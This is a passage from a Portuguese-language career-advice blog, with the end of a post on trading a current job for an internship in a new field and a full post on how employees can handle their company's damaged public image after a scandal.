Outro ponto a ser avaliado é a questão do crescimento profissional. Na empresa atual, existem chances de desenvolvimento de carreira ou até mesmo uma oportunidade de migração para a área desejada? E na empresa que ofertou o estágio, existe um programa bem estruturado para jovens talentos?

Por fim, é importante lembrar que, já que escolheu outra área para estudar, é necessário buscar experiência. O estágio é a oportunidade de o estudante colocar na prática as teorias aprendidas em sala de aula, descobrir seu potencial e confirmar se aquela é realmente a profissão certa. Vale a pena ganhar um pouco menos durante algum tempo, mas em troca adquirir conhecimento. Aproveite tudo o que o estágio tem para lhe oferecer e faça a mudança valer a pena.

Minha empresa está com a imagem arranhada. Como devo me portar?

Publicado por:
19 jan

02.41

Quando uma marca ou empresa se envolve em algum escândalo e tem sua imagem arranhada, é difícil para os profissionais que trabalham nela se distanciarem da situação. É normal que pessoas de fora perguntem sobre o ocorrido e opinem sobre o caso, entretanto, o empregado precisa ficar atento para não falar demais ou levar a discussão para o lado pessoal.

Quando estiver numa situação embaraçosa como essa, em primeiro lugar é necessário se informar e saber qual o posicionamento oficial da empresa sobre o fato. Inteirar-se sobre o que aconteceu realmente e conhecer qual é a versão da corporação são coisas que vão ajudar quando as inevitáveis perguntas aparecerem. Em segundo lugar, é importante não aceitar provocações de pessoas que venham a lhe ofender profissionalmente por causa da conduta da empresa em que você trabalha.

Se a organização orientar que seus empregados não comentem publicamente sobre o ocorrido, sinta-se à vontade para dizer a quem lhe perguntar que não está autorizado a falar sobre o assunto e que a empresa está tomando as atitudes passiveis no caso. Afinal, há pessoas e cargos específicos para esse tipo de atividade, como os porta-vozes oficiais.

No ambiente de trabalho, continue desempenhando suas funções normalmente, mesmo que o clima entre a equipe esteja abalado. O foco no trabalho é essencial para o andamento das demandas. Você pode ainda demonstrar proatividade e espírito de equipe ao se disponibilizar para contribuir com uma solução dentro das suas possibilidades.